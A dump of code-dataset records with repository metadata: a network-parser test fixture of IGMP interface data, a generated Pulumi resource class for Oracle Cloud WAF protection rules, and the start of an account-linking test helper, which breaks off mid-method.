d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 204
|
2018-06-27T00:55:27.000Z
|
2022-03-06T21:12:18.000Z
|
src/genie/libs/parser/nxos/tests/ShowIpIgmpInterface/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
2018-06-19T00:33:18.000Z
|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/nxos/tests/ShowIpIgmpInterface/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
|
2019-01-16T20:21:07.000Z
|
2022-03-30T12:56:41.000Z
|
expected_output = {
"vrfs": {
"default": {
"groups_count": 2,
"interface": {
"Ethernet2/2": {
"query_max_response_time": 10,
"vrf_name": "default",
"statistics": {
"general": {
"sent": {
"v2_reports": 0,
"v2_queries": 16,
"v2_leaves": 0
},
"received": {
"v2_reports": 0,
"v2_queries": 16,
"v2_leaves": 0
}
}
},
"configured_query_max_response_time": 10,
"pim_dr": True,
"vrf_id": 1,
"querier": "10.1.3.1",
"membership_count": 0,
"last_member": {
"query_count": 2,
"mrt": 1,
},
"startup_query": {
"interval": 31,
"configured_interval": 31,
"count": 2,
},
"link_status": "up",
"subnet": "10.1.3.0/24",
"address": "10.1.3.1",
"link_local_groups_reporting": False,
"unsolicited_report_interval": 10,
"enable_refcount": 1,
"enable": True,
"next_query_sent_in": "00:00:55",
"configured_query_interval": 125,
"old_membership_count": 0,
"group_timeout": 260,
"configured_robustness_variable": 2,
"vpc_svi": False,
"querier_version": 2,
"version": 2,
"query_interval": 125,
"querier_timeout": 255,
"immediate_leave": False,
"configured_group_timeout": 260,
"host_version": 2,
"configured_querier_timeout": 255,
"robustness_variable": 2,
"oper_status": "up"
},
"Ethernet2/1": {
"query_max_response_time": 15,
"vrf_name": "default",
"statistics": {
"errors": {
"router_alert_check": 19,
},
"general": {
"sent": {
"v2_reports": 0,
"v3_queries": 11,
"v2_leaves": 0,
"v3_reports": 56,
"v2_queries": 5
},
"received": {
"v2_reports": 0,
"v3_queries": 11,
"v2_leaves": 0,
"v3_reports": 56,
"v2_queries": 5
}
}
},
"configured_query_max_response_time": 15,
"max_groups": 10,
"vrf_id": 1,
"querier": "10.1.2.1",
"membership_count": 4,
"last_member": {
"query_count": 5,
"mrt": 1,
},
"startup_query": {
"interval": 33,
"configured_interval": 31,
"count": 5,
},
"pim_dr": True,
"link_status": "up",
"subnet": "10.1.2.0/24",
"address": "10.1.2.1",
"link_local_groups_reporting": False,
"unsolicited_report_interval": 10,
"enable_refcount": 9,
"enable": True,
"group_policy": "access-group-filter",
"next_query_sent_in": "00:00:47",
"configured_query_interval": 133,
"old_membership_count": 0,
"group_timeout": 680,
"configured_robustness_variable": 5,
"vpc_svi": False,
"querier_version": 3,
"available_groups": 10,
"version": 3,
"query_interval": 133,
"querier_timeout": 672,
"immediate_leave": True,
"configured_group_timeout": 260,
"host_version": 3,
"configured_querier_timeout": 255,
"robustness_variable": 5,
"oper_status": "up"
}
}
},
"VRF1": {
"groups_count": 2,
"interface": {
"Ethernet2/4": {
"query_max_response_time": 15,
"vrf_name": "VRF1",
"statistics": {
"general": {
"sent": {
"v2_reports": 0,
"v3_queries": 8,
"v2_leaves": 0,
"v3_reports": 44,
"v2_queries": 8
},
"received": {
"v2_reports": 0,
"v3_queries": 8,
"v2_leaves": 0,
"v3_reports": 44,
"v2_queries": 8
}
}
},
"configured_query_max_response_time": 15,
"max_groups": 10,
"vrf_id": 3,
"querier": "10.186.2.1",
"membership_count": 4,
"last_member": {
"query_count": 5,
"mrt": 1,
},
"startup_query": {
"interval": 33,
"configured_interval": 31,
"count": 5,
},
"pim_dr": True,
"link_status": "up",
"subnet": "10.186.2.0/24",
"address": "10.186.2.1",
"link_local_groups_reporting": False,
"unsolicited_report_interval": 10,
"enable_refcount": 9,
"enable": True,
"group_policy": "access-group-filter",
"next_query_sent_in": "00:00:06",
"configured_query_interval": 133,
"old_membership_count": 0,
"group_timeout": 680,
"configured_robustness_variable": 5,
"vpc_svi": False,
"querier_version": 3,
"available_groups": 10,
"version": 3,
"query_interval": 133,
"querier_timeout": 672,
"immediate_leave": True,
"configured_group_timeout": 260,
"host_version": 3,
"configured_querier_timeout": 255,
"robustness_variable": 5,
"oper_status": "up"
},
"Ethernet2/3": {
"query_max_response_time": 10,
"vrf_name": "VRF1",
"statistics": {
"general": {
"sent": {
"v2_reports": 0,
"v2_queries": 16,
"v2_leaves": 0
},
"received": {
"v2_reports": 0,
"v2_queries": 16,
"v2_leaves": 0
}
}
},
"configured_query_max_response_time": 10,
"pim_dr": True,
"vrf_id": 3,
"querier": "10.186.3.1",
"membership_count": 0,
"last_member": {
"query_count": 2,
"mrt": 1,
},
"startup_query": {
"interval": 31,
"configured_interval": 31,
"count": 2,
},
"link_status": "up",
"subnet": "10.186.3.0/24",
"address": "10.186.3.1",
"link_local_groups_reporting": False,
"unsolicited_report_interval": 10,
"enable_refcount": 1,
"enable": True,
"next_query_sent_in": "00:00:47",
"configured_query_interval": 125,
"old_membership_count": 0,
"group_timeout": 260,
"configured_robustness_variable": 2,
"vpc_svi": False,
"querier_version": 2,
"version": 2,
"query_interval": 125,
"querier_timeout": 255,
"immediate_leave": False,
"configured_group_timeout": 260,
"host_version": 2,
"configured_querier_timeout": 255,
"robustness_variable": 2,
"oper_status": "up"
}
}
},
"tenant1": {
"groups_count": 0,
},
"manegement": {
"groups_count": 0,
}
}
}
| 43.119231
| 64
| 0.296405
| 680
| 11,211
| 4.561765
| 0.148529
| 0.05029
| 0.041264
| 0.05158
| 0.953578
| 0.914894
| 0.891683
| 0.855255
| 0.855255
| 0.841393
| 0
| 0.08341
| 0.610739
| 11,211
| 259
| 65
| 43.285714
| 0.627406
| 0
| 0
| 0.754864
| 0
| 0
| 0.272816
| 0.077081
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8f757bf6e315522aa2dabfbe418b9f44d2ac50c6
| 26,134
|
py
|
Python
|
sdk/python/pulumi_oci/waas/protection_rule.py
|
EladGabay/pulumi-oci
|
6841e27d4a1a7e15c672306b769912efbfd3ba99
|
[
"ECL-2.0",
"Apache-2.0"
] | 5
|
2021-08-17T11:14:46.000Z
|
2021-12-31T02:07:03.000Z
|
sdk/python/pulumi_oci/waas/protection_rule.py
|
pulumi-oci/pulumi-oci
|
6841e27d4a1a7e15c672306b769912efbfd3ba99
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2021-09-06T11:21:29.000Z
|
2021-09-06T11:21:29.000Z
|
sdk/python/pulumi_oci/waas/protection_rule.py
|
pulumi-oci/pulumi-oci
|
6841e27d4a1a7e15c672306b769912efbfd3ba99
|
[
"ECL-2.0",
"Apache-2.0"
] | 2
|
2021-08-24T23:31:30.000Z
|
2022-01-02T19:26:54.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['ProtectionRuleArgs', 'ProtectionRule']
@pulumi.input_type
class ProtectionRuleArgs:
def __init__(__self__, *,
key: pulumi.Input[str],
waas_policy_id: pulumi.Input[str],
action: Optional[pulumi.Input[str]] = None,
exclusions: Optional[pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]]] = None):
"""
The set of arguments for constructing a ProtectionRule resource.
:param pulumi.Input[str] key: (Updatable) The unique key of the protection rule.
:param pulumi.Input[str] waas_policy_id: The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
:param pulumi.Input[str] action: (Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
:param pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]] exclusions: An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
"""
pulumi.set(__self__, "key", key)
pulumi.set(__self__, "waas_policy_id", waas_policy_id)
if action is not None:
pulumi.set(__self__, "action", action)
if exclusions is not None:
pulumi.set(__self__, "exclusions", exclusions)
@property
@pulumi.getter
def key(self) -> pulumi.Input[str]:
"""
(Updatable) The unique key of the protection rule.
"""
return pulumi.get(self, "key")
@key.setter
def key(self, value: pulumi.Input[str]):
pulumi.set(self, "key", value)
@property
@pulumi.getter(name="waasPolicyId")
def waas_policy_id(self) -> pulumi.Input[str]:
"""
The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
"""
return pulumi.get(self, "waas_policy_id")
@waas_policy_id.setter
def waas_policy_id(self, value: pulumi.Input[str]):
pulumi.set(self, "waas_policy_id", value)
@property
@pulumi.getter
def action(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
"""
return pulumi.get(self, "action")
@action.setter
def action(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "action", value)
@property
@pulumi.getter
def exclusions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]]]:
"""
An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
"""
return pulumi.get(self, "exclusions")
@exclusions.setter
def exclusions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]]]):
pulumi.set(self, "exclusions", value)
@pulumi.input_type
class _ProtectionRuleState:
def __init__(__self__, *,
action: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
exclusions: Optional[pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]]] = None,
key: Optional[pulumi.Input[str]] = None,
labels: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
mod_security_rule_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
waas_policy_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering ProtectionRule resources.
:param pulumi.Input[str] action: (Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
:param pulumi.Input[str] description: The description of the protection rule.
:param pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]] exclusions: An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
:param pulumi.Input[str] key: (Updatable) The unique key of the protection rule.
:param pulumi.Input[Sequence[pulumi.Input[str]]] labels: The list of labels for the protection rule.
:param pulumi.Input[Sequence[pulumi.Input[str]]] mod_security_rule_ids: The list of the ModSecurity rule IDs that apply to this protection rule. For more information about ModSecurity's open source WAF rules, see [Mod Security's documentation](https://www.modsecurity.org/CRS/Documentation/index.html).
:param pulumi.Input[str] name: The name of the protection rule.
:param pulumi.Input[str] waas_policy_id: The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
"""
if action is not None:
pulumi.set(__self__, "action", action)
if description is not None:
pulumi.set(__self__, "description", description)
if exclusions is not None:
pulumi.set(__self__, "exclusions", exclusions)
if key is not None:
pulumi.set(__self__, "key", key)
if labels is not None:
pulumi.set(__self__, "labels", labels)
if mod_security_rule_ids is not None:
pulumi.set(__self__, "mod_security_rule_ids", mod_security_rule_ids)
if name is not None:
pulumi.set(__self__, "name", name)
if waas_policy_id is not None:
pulumi.set(__self__, "waas_policy_id", waas_policy_id)
@property
@pulumi.getter
def action(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
"""
return pulumi.get(self, "action")
@action.setter
def action(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "action", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the protection rule.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def exclusions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]]]:
"""
An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
"""
return pulumi.get(self, "exclusions")
@exclusions.setter
def exclusions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ProtectionRuleExclusionArgs']]]]):
pulumi.set(self, "exclusions", value)
@property
@pulumi.getter
def key(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The unique key of the protection rule.
"""
return pulumi.get(self, "key")
@key.setter
def key(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "key", value)
@property
@pulumi.getter
def labels(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of labels for the protection rule.
"""
return pulumi.get(self, "labels")
@labels.setter
def labels(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "labels", value)
@property
@pulumi.getter(name="modSecurityRuleIds")
def mod_security_rule_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
The list of the ModSecurity rule IDs that apply to this protection rule. For more information about ModSecurity's open source WAF rules, see [Mod Security's documentation](https://www.modsecurity.org/CRS/Documentation/index.html).
"""
return pulumi.get(self, "mod_security_rule_ids")
@mod_security_rule_ids.setter
def mod_security_rule_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "mod_security_rule_ids", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the protection rule.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="waasPolicyId")
def waas_policy_id(self) -> Optional[pulumi.Input[str]]:
"""
The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
"""
return pulumi.get(self, "waas_policy_id")
@waas_policy_id.setter
def waas_policy_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "waas_policy_id", value)
class ProtectionRule(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
action: Optional[pulumi.Input[str]] = None,
exclusions: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ProtectionRuleExclusionArgs']]]]] = None,
key: Optional[pulumi.Input[str]] = None,
waas_policy_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
This resource provides the Protection Rule resource in Oracle Cloud Infrastructure Web Application Acceleration and Security service.
Updates the action for each specified protection rule. Requests can either be allowed, blocked, or trigger an alert if they meet the parameters of an applied rule. For more information on protection rules, see [WAF Protection Rules](https://docs.cloud.oracle.com/iaas/Content/WAF/Tasks/wafprotectionrules.htm).
This operation can update or disable protection rules depending on the structure of the request body.
Protection rules can be updated by changing the properties of the protection rule object with the rule's key specified in the key field.
## Example Usage
```python
import pulumi
import pulumi_oci as oci
test_protection_rule = oci.waas.ProtectionRule("testProtectionRule",
waas_policy_id=oci_waas_waas_policy["test_waas_policy"]["id"],
key=var["key"],
action="DETECT",
exclusions={
"exclusions": ["example.com"],
"target": "REQUEST_COOKIES",
})
```
## Import
ProtectionRules can be imported using the `id`, e.g.
```sh
$ pulumi import oci:waas/protectionRule:ProtectionRule test_protection_rule "waasPolicyId/{waasPolicyId}/key/{key}"
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] action: (Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ProtectionRuleExclusionArgs']]]] exclusions: An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
:param pulumi.Input[str] key: (Updatable) The unique key of the protection rule.
:param pulumi.Input[str] waas_policy_id: The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: ProtectionRuleArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
This resource provides the Protection Rule resource in Oracle Cloud Infrastructure Web Application Acceleration and Security service.
Updates the action for each specified protection rule. Requests can either be allowed, blocked, or trigger an alert if they meet the parameters of an applied rule. For more information on protection rules, see [WAF Protection Rules](https://docs.cloud.oracle.com/iaas/Content/WAF/Tasks/wafprotectionrules.htm).
This operation can update or disable protection rules depending on the structure of the request body.
Protection rules can be updated by changing the properties of the protection rule object with the rule's key specified in the key field.
## Example Usage
```python
import pulumi
import pulumi_oci as oci
test_protection_rule = oci.waas.ProtectionRule("testProtectionRule",
waas_policy_id=oci_waas_waas_policy["test_waas_policy"]["id"],
key=var["key"],
action="DETECT",
exclusions={
"exclusions": ["example.com"],
"target": "REQUEST_COOKIES",
})
```
## Import
ProtectionRules can be imported using the `id`, e.g.
```sh
$ pulumi import oci:waas/protectionRule:ProtectionRule test_protection_rule "waasPolicyId/{waasPolicyId}/key/{key}"
```
:param str resource_name: The name of the resource.
:param ProtectionRuleArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ProtectionRuleArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
action: Optional[pulumi.Input[str]] = None,
exclusions: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ProtectionRuleExclusionArgs']]]]] = None,
key: Optional[pulumi.Input[str]] = None,
waas_policy_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ProtectionRuleArgs.__new__(ProtectionRuleArgs)
__props__.__dict__["action"] = action
__props__.__dict__["exclusions"] = exclusions
if key is None and not opts.urn:
raise TypeError("Missing required property 'key'")
__props__.__dict__["key"] = key
if waas_policy_id is None and not opts.urn:
raise TypeError("Missing required property 'waas_policy_id'")
__props__.__dict__["waas_policy_id"] = waas_policy_id
__props__.__dict__["description"] = None
__props__.__dict__["labels"] = None
__props__.__dict__["mod_security_rule_ids"] = None
__props__.__dict__["name"] = None
super(ProtectionRule, __self__).__init__(
'oci:waas/protectionRule:ProtectionRule',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
action: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
exclusions: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ProtectionRuleExclusionArgs']]]]] = None,
key: Optional[pulumi.Input[str]] = None,
labels: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
mod_security_rule_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
waas_policy_id: Optional[pulumi.Input[str]] = None) -> 'ProtectionRule':
"""
Get an existing ProtectionRule resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] action: (Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
:param pulumi.Input[str] description: The description of the protection rule.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ProtectionRuleExclusionArgs']]]] exclusions: An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
:param pulumi.Input[str] key: (Updatable) The unique key of the protection rule.
:param pulumi.Input[Sequence[pulumi.Input[str]]] labels: The list of labels for the protection rule.
:param pulumi.Input[Sequence[pulumi.Input[str]]] mod_security_rule_ids: The list of the ModSecurity rule IDs that apply to this protection rule. For more information about ModSecurity's open source WAF rules, see [Mod Security's documentation](https://www.modsecurity.org/CRS/Documentation/index.html).
:param pulumi.Input[str] name: The name of the protection rule.
:param pulumi.Input[str] waas_policy_id: The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ProtectionRuleState.__new__(_ProtectionRuleState)
__props__.__dict__["action"] = action
__props__.__dict__["description"] = description
__props__.__dict__["exclusions"] = exclusions
__props__.__dict__["key"] = key
__props__.__dict__["labels"] = labels
__props__.__dict__["mod_security_rule_ids"] = mod_security_rule_ids
__props__.__dict__["name"] = name
__props__.__dict__["waas_policy_id"] = waas_policy_id
return ProtectionRule(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def action(self) -> pulumi.Output[str]:
"""
(Updatable) The action to take when the traffic is detected as malicious. If unspecified, defaults to `OFF`.
"""
return pulumi.get(self, "action")
@property
@pulumi.getter
def description(self) -> pulumi.Output[str]:
"""
The description of the protection rule.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter
def exclusions(self) -> pulumi.Output[Sequence['outputs.ProtectionRuleExclusion']]:
"""
An array of The target property of a request that would allow it to bypass the protection rule. For example, when `target` is `REQUEST_COOKIE_NAMES`, the list may include names of cookies to exclude from the protection rule. When the target is `ARGS`, the list may include strings of URL query parameters and values from form-urlencoded XML, JSON, AMP, or POST payloads to exclude from the protection rule. `Exclusions` properties must not contain whitespace, comma or |. **Note:** If protection rules have been enabled that utilize the `maxArgumentCount` or `maxTotalNameLengthOfArguments` properties, and the `target` property has been set to `ARGS`, it is important that the `exclusions` properties be defined to honor those protection rule settings in a consistent manner.
"""
return pulumi.get(self, "exclusions")
@property
@pulumi.getter
def key(self) -> pulumi.Output[str]:
"""
(Updatable) The unique key of the protection rule.
"""
return pulumi.get(self, "key")
@property
@pulumi.getter
def labels(self) -> pulumi.Output[Sequence[str]]:
"""
The list of labels for the protection rule.
"""
return pulumi.get(self, "labels")
@property
@pulumi.getter(name="modSecurityRuleIds")
def mod_security_rule_ids(self) -> pulumi.Output[Sequence[str]]:
"""
The list of the ModSecurity rule IDs that apply to this protection rule. For more information about ModSecurity's open source WAF rules, see [Mod Security's documentation](https://www.modsecurity.org/CRS/Documentation/index.html).
"""
return pulumi.get(self, "mod_security_rule_ids")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the protection rule.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="waasPolicyId")
def waas_policy_id(self) -> pulumi.Output[str]:
"""
The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the WAAS policy.
"""
return pulumi.get(self, "waas_policy_id")
| 56.689805
| 889
| 0.683745
| 3,264
| 26,134
| 5.328431
| 0.083027
| 0.06641
| 0.052323
| 0.036684
| 0.880577
| 0.863845
| 0.831532
| 0.824747
| 0.809625
| 0.796056
| 0
| 0.000049
| 0.220249
| 26,134
| 460
| 890
| 56.813043
| 0.85342
| 0.510599
| 0
| 0.587755
| 1
| 0
| 0.104125
| 0.037723
| 0
| 0
| 0
| 0
| 0
| 1
| 0.159184
| false
| 0.004082
| 0.028571
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
56ecfc52059d35bcfd5eaf524f4bc601aca4ae31
| 6,061
|
py
|
Python
|
test/programytest/security/linking/accounlinker_asserts.py
|
motazsaad/fit-bot-fb-clt
|
580477aa1ec91855b621d9ae276f2705962f6a87
|
[
"MIT"
] | null | null | null |
test/programytest/security/linking/accounlinker_asserts.py
|
motazsaad/fit-bot-fb-clt
|
580477aa1ec91855b621d9ae276f2705962f6a87
|
[
"MIT"
] | null | null | null |
test/programytest/security/linking/accounlinker_asserts.py
|
motazsaad/fit-bot-fb-clt
|
580477aa1ec91855b621d9ae276f2705962f6a87
|
[
"MIT"
] | 4
|
2019-04-01T15:42:23.000Z
|
2020-11-05T08:14:27.000Z
|
import unittest
class AccountLinkerAsserts(unittest.TestCase):
def assert_generate_key(self, linkerservice):
key = linkerservice._generate_key()
self.assertIsNotNone(key)
self.assertEqual(8, len(key))
key = linkerservice._generate_key(size=12)
self.assertIsNotNone(key)
self.assertEqual(12, len(key))
def assert_generate_expirary(self, linkerservice):
expires = linkerservice._generate_expirary(lifetime=1)
self.assertIsNotNone(expires)
def assert_happy_path(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
provided_key = "PASSWORD1"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
generated_key = linkerservice.generate_link(primary_user, provided_key)
self.assertIsNotNone(generated_key)
result = linkerservice.link_accounts(primary_user, provided_key, generated_key, "testuser2", "facebook")
self.assertTrue(result)
primary = linkerservice.primary_account("testuser2")
self.assertTrue(primary)
self.assertEquals(primary_user, primary)
def assert_user_client_link_already_exists(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
links = linkerservice.linked_accounts(primary_user)
self.assertIsNotNone(links)
self.assertEquals(1, len(links))
self.assertEquals(primary_client, links[0])
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
links = linkerservice.linked_accounts(primary_user)
self.assertIsNotNone(links)
self.assertEquals(1, len(links))
self.assertEquals(primary_client, links[0])
def assert_provided_key_not_matched(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
provided_key = "PASSWORD1"
secondary_user = "testuser2"
secondary_client = "facebook"
result = linkerservice.link_user_to_client(primary_user, primary_client)
self.assertTrue(result)
generated_key = linkerservice.generate_link(primary_user, provided_key)
self.assertIsNotNone(generated_key)
result = linkerservice.link_accounts(primary_user, "PASSWORD2", generated_key, secondary_user, secondary_client)
self.assertFalse(result)
def assert_generated_key_not_matched(self, linkerservice):
primary_user = "testuser1"
primary_client = "console"
provided_key = "PASSWORD1"
secondary_user = "testuser2"
